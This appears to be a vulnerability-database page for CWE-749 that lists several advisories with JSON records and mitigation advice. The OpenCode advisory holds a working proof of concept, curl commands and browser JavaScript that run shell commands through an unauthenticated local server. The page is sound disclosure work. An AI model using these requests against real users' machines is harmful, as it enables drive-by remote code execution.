Common Weakness Enumeration

CWE-749

Allowed

Exposed Dangerous Method or Function

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.

350 vulnerabilities reference this CWE, most recent first.

GHSA-VQ48-824M-7QHF

Vulnerability from github – Published: 2026-02-17 15:31 – Updated: 2026-02-17 21:31
VLAI
Details

OpenS100 (the reference implementation S-100 viewer) prior to commit 753cf29 contain a remote code execution vulnerability via an unrestricted Lua interpreter. The Portrayal Engine initializes Lua using luaL_openlibs() without sandboxing or capability restrictions, exposing standard libraries such as 'os' and 'io' to untrusted portrayal catalogues. An attacker can provide a malicious S-100 portrayal catalogue containing Lua scripts that execute arbitrary commands with the privileges of the OpenS100 process when a user imports the catalogue and loads a chart.

Severity
9.6 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
9.4 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-22208"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-17T15:16:22Z",
    "severity": "CRITICAL"
  },
  "details": "OpenS100 (the reference implementation S-100 viewer) prior to commit 753cf29 contain a remote code execution vulnerability via an unrestricted Lua interpreter. The Portrayal Engine initializes Lua using luaL_openlibs() without sandboxing or capability restrictions, exposing standard libraries such as \u0027os\u0027 and \u0027io\u0027 to untrusted portrayal catalogues. An attacker can provide a malicious S-100 portrayal catalogue containing Lua scripts that execute arbitrary commands with the privileges of the OpenS100 process when a user imports the catalogue and loads a chart.",
  "id": "GHSA-vq48-824m-7qhf",
  "modified": "2026-02-17T21:31:13Z",
  "published": "2026-02-17T15:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22208"
    },
    {
      "type": "WEB",
      "url": "https://github.com/S-100ExpertTeam/OpenS100/commit/753cf294434e8d3961f20a567c4d99151e3b530d"
    },
    {
      "type": "WEB",
      "url": "https://www.mdpi.com/1424-8220/26/4/1246"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/opens100-portrayal-engine-unrestricted-lua-standard-library-access"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VV86-WHXX-RV84

Vulnerability from github – Published: 2022-05-13 01:26 – Updated: 2025-10-22 00:31
VLAI
Details

The GPCIDrv and GDrv low-level drivers in GIGABYTE APP Center v1.05.21 and earlier, AORUS GRAPHICS ENGINE before 1.57, XTREME GAMING ENGINE before 1.26, and OC GURU II v2.08 expose functionality to read/write data from/to IO ports. This could be leveraged in a number of ways to ultimately run code with elevated privileges.

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-19322"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-12-21T23:29:00Z",
    "severity": "HIGH"
  },
  "details": "The GPCIDrv and GDrv low-level drivers in GIGABYTE APP Center v1.05.21 and earlier, AORUS GRAPHICS ENGINE before 1.57, XTREME GAMING ENGINE before 1.26, and OC GURU II v2.08 expose functionality to read/write data from/to IO ports. This could be leveraged in a number of ways to ultimately run code with elevated privileges.",
  "id": "GHSA-vv86-whxx-rv84",
  "modified": "2025-10-22T00:31:36Z",
  "published": "2022-05-13T01:26:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19322"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2018-19322"
    },
    {
      "type": "WEB",
      "url": "https://www.gigabyte.com/Support/Security/1801"
    },
    {
      "type": "WEB",
      "url": "https://www.gigabyte.com/tw/Support/Utility/Graphics-Card"
    },
    {
      "type": "WEB",
      "url": "https://www.secureauth.com/labs/advisories/gigabyte-drivers-elevation-privilege-vulnerabilities"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2018/Dec/39"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/106252"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VXW4-WV6M-9HHH

Vulnerability from github – Published: 2026-01-13 20:35 – Updated: 2026-01-13 20:35
VLAI
Summary
OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution
Details

Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in opencode-sdk-js/SECURITY.md. No response received.

Summary

OpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges.

Details

When OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:

  • POST /session/:id/shell - Execute shell commands (server.ts:1401)
  • POST /pty - Create interactive terminal sessions (server.ts:267)
  • GET /file/content?path= - Read arbitrary files (server.ts:1868)

The server is started automatically in cli/cmd/tui/worker.ts:36 via Server.listen().

No authentication middleware exists in server/server.ts. The server uses permissive CORS (.use(cors()) with default Access-Control-Allow-Origin: *), enabling browser-based exploitation.

PoC

Local exploitation:

API="http://127.0.0.1:4096"  # update with actual port
SESSION_ID=$(curl -s -X POST "$API/session" -H "Content-Type: application/json" -d '{}' | jq -r '.id')
curl -s -X POST "$API/session/$SESSION_ID/shell" -H "Content-Type: application/json" \
  -d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}'
cat /tmp/pwned.txt  # outputs: PWNED

Browser-based exploitation:

A malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.

// Malicious website JavaScript
fetch('http://127.0.0.1:4096/session', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: '{}'
})
.then(r => r.json())
.then(session => {
  fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({agent: 'build', command: 'id > /tmp/pwned.txt'})
  });
});

Note: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.

Impact

Remote Code Execution via two vectors:

  1. Local process: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.

  2. Browser-based (confirmed in Firefox): Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.

With --mdns flag, the server binds to 0.0.0.0 and advertises via Bonjour, extending the attack surface to the entire local network.

Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "opencode-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.216"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22812"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-749",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-13T20:35:08Z",
    "nvd_published_at": "2026-01-12T23:15:53Z",
    "severity": "HIGH"
  },
  "details": "*Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in [opencode-sdk-js/SECURITY.md](https://github.com/sst/opencode-sdk-js/blob/main/SECURITY.md). No response received.*\n\n### Summary\n\nOpenCode automatically starts an unauthenticated HTTP server that allows any local process\u2014or any website via permissive CORS\u2014to execute arbitrary shell commands with the user\u0027s privileges.\n\n### Details\n\nWhen OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:\n\n- `POST /session/:id/shell` - Execute shell commands (`server.ts:1401`)\n- `POST /pty` - Create interactive terminal sessions (`server.ts:267`)\n- `GET /file/content?path=` - Read arbitrary files (`server.ts:1868`)\n\nThe server is started automatically in `cli/cmd/tui/worker.ts:36` via `Server.listen()`.\n\nNo authentication middleware exists in `server/server.ts`. The server uses permissive CORS (`.use(cors())` with default `Access-Control-Allow-Origin: *`), enabling browser-based exploitation.\n\n### PoC\n\n**Local exploitation:**\n\n```bash\nAPI=\"http://127.0.0.1:4096\"  # update with actual port\nSESSION_ID=$(curl -s -X POST \"$API/session\" -H \"Content-Type: application/json\" -d \u0027{}\u0027 | jq -r \u0027.id\u0027)\ncurl -s -X POST \"$API/session/$SESSION_ID/shell\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"agent\": \"build\", \"command\": \"echo PWNED \u003e /tmp/pwned.txt\"}\u0027\ncat /tmp/pwned.txt  # outputs: PWNED\n```\n\n**Browser-based exploitation:**\n\nA malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.\n\n```javascript\n// Malicious website JavaScript\nfetch(\u0027http://127.0.0.1:4096/session\u0027, {\n  method: \u0027POST\u0027,\n  headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n  body: \u0027{}\u0027\n})\n.then(r =\u003e r.json())\n.then(session =\u003e {\n  fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {\n    method: \u0027POST\u0027,\n    headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n    body: JSON.stringify({agent: \u0027build\u0027, command: \u0027id \u003e /tmp/pwned.txt\u0027})\n  });\n});\n```\n\nNote: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.\n\n### Impact\n\n**Remote Code Execution** via two vectors:\n\n1. **Local process**: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.\n\n2. **Browser-based (confirmed in Firefox)**: Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.\n\nWith `--mdns` flag, the server binds to `0.0.0.0` and advertises via Bonjour, extending the attack surface to the entire local network.\n\n*Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.*",
  "id": "GHSA-vxw4-wv6m-9hhh",
  "modified": "2026-01-13T20:35:08Z",
  "published": "2026-01-13T20:35:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/anomalyco/opencode/security/advisories/GHSA-vxw4-wv6m-9hhh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22812"
    },
    {
      "type": "WEB",
      "url": "https://github.com/anomalyco/opencode/commit/7d2d87fa2c44e32314015980bb4e59a9386e858c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/anomalyco/opencode"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenCode\u0027s Unauthenticated HTTP Server Allows Arbitrary Command Execution"
}

GHSA-W3F7-3WXF-V9P4

Vulnerability from github – Published: 2024-05-03 03:31 – Updated: 2024-05-03 03:31
VLAI
Details

Voltronic Power ViewPower LinuxMonitorConsole Exposed Dangerous Method Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Voltronic Power ViewPower. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the LinuxMonitorConsole class. The issue results from an exposed dangerous method. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-22035.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-51582"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T03:16:18Z",
    "severity": "CRITICAL"
  },
  "details": "Voltronic Power ViewPower LinuxMonitorConsole Exposed Dangerous Method Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Voltronic Power ViewPower. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the LinuxMonitorConsole class. The issue results from an exposed dangerous method. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-22035.",
  "id": "GHSA-w3f7-3wxf-v9p4",
  "modified": "2024-05-03T03:31:07Z",
  "published": "2024-05-03T03:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51582"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1887"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WF6J-GR27-G7CH

Vulnerability from github – Published: 2026-08-19 19:31 – Updated: 2026-08-19 19:31
VLAI
Summary
GeoServer has a Server-Side Template Injection (SSTI) vulnerability in processing FreeMarker templates
Details

Summary

A server-side template injection (SSTI) vulnerability exist that allows an authenticated administrator to upload FreeMarker templates containing malicious content that can execute OS commands and read from or write to arbitrary files on the server. These FreeMarker templates are used in a plain GeoServer instance (no extension or community modules) for WMS GetFeatureInfo HTML and JSON and WMS GetMap KML and GeoRSS output formats.

Details

The org.geoserver.template.TemplateUtils.getSafeConfiguration() method attempts to block access to the class freemarker.template.utility.Execute but it is still possible to gain access to it and other sensitive functionality by chaining a specific sequence of method calls.

Impact

This vulnerability can lead to executing arbitrary code and reading and writing arbitrary files.

Resolution

GeoServer 2.27.0 addresses this vulnerability with several new application properties:

  • GEOSERVER_FREEMARKER_BLOCK_LIST
  • GEOSERVER_FREEMARKER_ALLOW_LIST
  • GEOSERVER_FREEMARKER_API_EXPOSED

These application properties default to restricting the objects template authors can access, and limit access to "getter" methods used to access object properties.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.geoserver:gs-main"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.geoserver:gs-wms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.geoserver.web:gs-web-app"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45747"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-19T19:31:54Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nA server-side template injection (SSTI) vulnerability exist that allows an authenticated administrator to upload FreeMarker templates containing malicious content that can execute OS commands and read from or write to arbitrary files on the server. These FreeMarker templates are used in a plain GeoServer instance (no extension or community modules) for WMS GetFeatureInfo HTML and JSON and WMS GetMap KML and GeoRSS output formats.\n\n### Details\nThe org.geoserver.template.TemplateUtils.getSafeConfiguration() method attempts to block access to the class freemarker.template.utility.Execute but it is still possible to gain access to it and other sensitive functionality by chaining a specific sequence of method calls.\n\n### Impact\nThis vulnerability can lead to executing arbitrary code and reading and writing arbitrary files.\n\n### Resolution\nGeoServer 2.27.0 addresses this vulnerability with several new application properties:\n\n* ``GEOSERVER_FREEMARKER_BLOCK_LIST``\n* ``GEOSERVER_FREEMARKER_ALLOW_LIST``\n* ``GEOSERVER_FREEMARKER_API_EXPOSED``\n\nThese application properties default to restricting the objects template authors can access, and limit access to \"getter\" methods used to access object properties.",
  "id": "GHSA-wf6j-gr27-g7ch",
  "modified": "2026-08-19T19:31:54Z",
  "published": "2026-08-19T19:31:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/geoserver/geoserver/security/advisories/GHSA-wf6j-gr27-g7ch"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geoserver/geoserver/pull/8164"
    },
    {
      "type": "WEB",
      "url": "https://docs.geoserver.org/latest/en/user/tutorials/GetFeatureInfo/html/#accessing-instance-methods"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/geoserver/geoserver"
    },
    {
      "type": "WEB",
      "url": "https://osgeo-org.atlassian.net/browse/GEOS-11645"
    },
    {
      "type": "WEB",
      "url": "https://osgeo-org.atlassian.net/browse/GEOS-11777"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GeoServer has a Server-Side Template Injection (SSTI) vulnerability in processing FreeMarker templates"
}

GHSA-WQ34-QCH7-HR2G

Vulnerability from github – Published: 2023-03-09 00:30 – Updated: 2023-03-15 21:30
VLAI
Details

REMAP cmd of SVM driver can be used to remap read only memory as read-write, then cause read only memory/file modified.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-33639"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-08T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "REMAP cmd of SVM driver can be used to remap read only memory as read-write, then cause read only memory/file modified.",
  "id": "GHSA-wq34-qch7-hr2g",
  "modified": "2023-03-15T21:30:26Z",
  "published": "2023-03-09T00:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33639"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/openeuler/kernel/commit/e4d0684a3ce68e7f8e11408121e791cd80312b27"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WW7H-G2QF-7XV6

Vulnerability from github – Published: 2025-01-14 15:40 – Updated: 2025-05-21 14:13
VLAI
Summary
TYPO3 Form Framework Module vulnerable to Cross-Site Request Forgery
Details

Problem

A vulnerability has been identified in the backend user interface functionality involving deep links. Specifically, this functionality is susceptible to Cross-Site Request Forgery (CSRF). Additionally, state-changing actions in downstream components incorrectly accepted submissions via HTTP GET and did not enforce the appropriate HTTP method.

Successful exploitation of this vulnerability requires the victim to have an active session on the backend user interface and to be deceived into interacting with a malicious URL targeting the backend, which can occur under the following conditions:

  • the user opens a malicious link, such as one sent via email.
  • the user visits a compromised or manipulated website while the following settings are misconfigured:
  • security.backend.enforceReferrer feature is disabled,
  • BE/cookieSameSite configuration is set to lax or none

The vulnerability in the affected downstream component “Form Framework Module” allows attackers to manipulate or delete persisted form definitions.

Solution

Update to TYPO3 versions 11.5.42 ELTS, 12.4.25 LTS, 13.4.3 LTS that fix the problem described.

Credits

Thanks to TYPO3 core and security members Benjamin Franzke, Oliver Hader, Andreas Kienast, Torben Hansen, Elias Häußler who fixed the issue.

References

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.4.47"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-form"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.4.48"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 11.5.41"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-form"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.5.42"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.4.24"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-form"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "12.4.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 13.4.2"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-form"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "13.0.0"
            },
            {
              "fixed": "13.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-55922"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352",
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-14T15:40:37Z",
    "nvd_published_at": "2025-01-14T20:15:30Z",
    "severity": "MODERATE"
  },
  "details": "### Problem\nA vulnerability has been identified in the backend user interface functionality involving deep links. Specifically, this functionality is susceptible to Cross-Site Request Forgery (CSRF). Additionally, state-changing actions in downstream components incorrectly accepted submissions via HTTP GET and did not enforce the appropriate HTTP method.\n\nSuccessful exploitation of this vulnerability requires the victim to have an active session on the backend user interface and to be deceived into interacting with a malicious URL targeting the backend, which can occur under the following conditions:\n\n* the user opens a malicious link, such as one sent via email.\n* the user visits a compromised or manipulated website while the following settings are misconfigured:\n  + `security.backend.enforceReferrer` feature is disabled,\n  + `BE/cookieSameSite` configuration is set to `lax` or `none`\n\nThe vulnerability in the affected downstream component \u201cForm Framework Module\u201d allows attackers to manipulate or delete persisted form definitions.\n\n### Solution\nUpdate to TYPO3 versions 11.5.42 ELTS, 12.4.25 LTS, 13.4.3 LTS that fix the problem described.\n\n### Credits\nThanks to TYPO3 core and security members Benjamin Franzke, Oliver Hader, Andreas Kienast, Torben Hansen, Elias H\u00e4u\u00dfler who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2025-007](https://typo3.org/security/advisory/typo3-core-sa-2025-007)",
  "id": "GHSA-ww7h-g2qf-7xv6",
  "modified": "2025-05-21T14:13:01Z",
  "published": "2025-01-14T15:40:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3/typo3/security/advisories/GHSA-ww7h-g2qf-7xv6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55922"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3-CMS/form/commit/93327743f5dfd31c44898ce16e3e004e05f8ba5f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TYPO3-CMS/form"
    },
    {
      "type": "WEB",
      "url": "https://typo3.org/security/advisory/typo3-core-sa-2025-007"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TYPO3 Form Framework Module vulnerable to Cross-Site Request Forgery"
}

GHSA-WX95-XVQF-3525

Vulnerability from github – Published: 2026-06-10 15:31 – Updated: 2026-06-10 15:31
VLAI
Details

A vulnerability was identified in the Lenovo Android Application, distributed exclusively on tablets in the Chinese market, that could allow a website visited by the built-in browser to overwrite system clipboard contents.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
5.1 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-7516"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-10T15:16:42Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was identified in the Lenovo Android Application, distributed exclusively on tablets in the Chinese market, that could allow a website visited by the built-in browser to overwrite system clipboard contents.",
  "id": "GHSA-wx95-xvqf-3525",
  "modified": "2026-06-10T15:31:33Z",
  "published": "2026-06-10T15:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7516"
    },
    {
      "type": "WEB",
      "url": "https://iknow.lenovo.com.cn/detail/440821"
    },
    {
      "type": "WEB",
      "url": "https://shop.lenovo.com.cn"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-X3HP-78G6-7FHX

Vulnerability from github – Published: 2026-09-22 12:30 – Updated: 2026-09-22 12:30
VLAI
Details

Exposed dangerous function lead to privilege escalation via gRPC server.

Severity
8.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-25255"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-22T10:17:08Z",
    "severity": "HIGH"
  },
  "details": "Exposed dangerous function lead to privilege escalation via gRPC server.",
  "id": "GHSA-x3hp-78g6-7fhx",
  "modified": "2026-09-22T12:30:25Z",
  "published": "2026-09-22T12:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25255"
    },
    {
      "type": "WEB",
      "url": "https://docs.qualcomm.com/product/publicresources/securitybulletin/may-2026-bulletin.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X63C-C6FQ-2VVQ

Vulnerability from github – Published: 2022-05-17 00:16 – Updated: 2022-05-17 00:16
VLAI
Details

TIT-AL00 smartphones with software versions earlier before TIT-AL00C583B214 have a exposed system interface vulnerability. The software provides a system interface for interaction with external applications, but calling the interface is not properly restricted. An attacker could trick the user into installing a malicious application to call the interface and modify the system properties.

Severity
7.1 (High)
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-2735"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-11-22T19:29:00Z",
    "severity": "HIGH"
  },
  "details": "TIT-AL00 smartphones with software versions earlier before TIT-AL00C583B214 have a exposed system interface vulnerability. The software provides a system interface for interaction with external applications, but calling the interface is not properly restricted. An attacker could trick the user into installing a malicious application to call the interface and modify the system properties.",
  "id": "GHSA-x63c-c6fq-2vvq",
  "modified": "2022-05-17T00:16:44Z",
  "published": "2022-05-17T00:16:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-2735"
    },
    {
      "type": "WEB",
      "url": "http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20170329-01-smartphone-en"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/97224"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

If you must expose a method, make sure to perform input validation on all arguments, limit access to authorized parties, and protect against all possible vulnerabilities.

Mitigation
Architecture and Design Implementation

Strategy: Attack Surface Reduction

  • Identify all exposed functionality. Explicitly list all functionality that must be exposed to some user or set of users. Identify which functionality may be:
  • Ensure that the implemented code follows these expectations. This includes setting the appropriate access modifiers where applicable (public, private, protected, etc.) or not marking ActiveX controls safe-for-scripting.
  • accessible to all users
  • restricted to a small set of privileged users
  • prevented from being directly accessible at all
CAPEC-500: WebView Injection

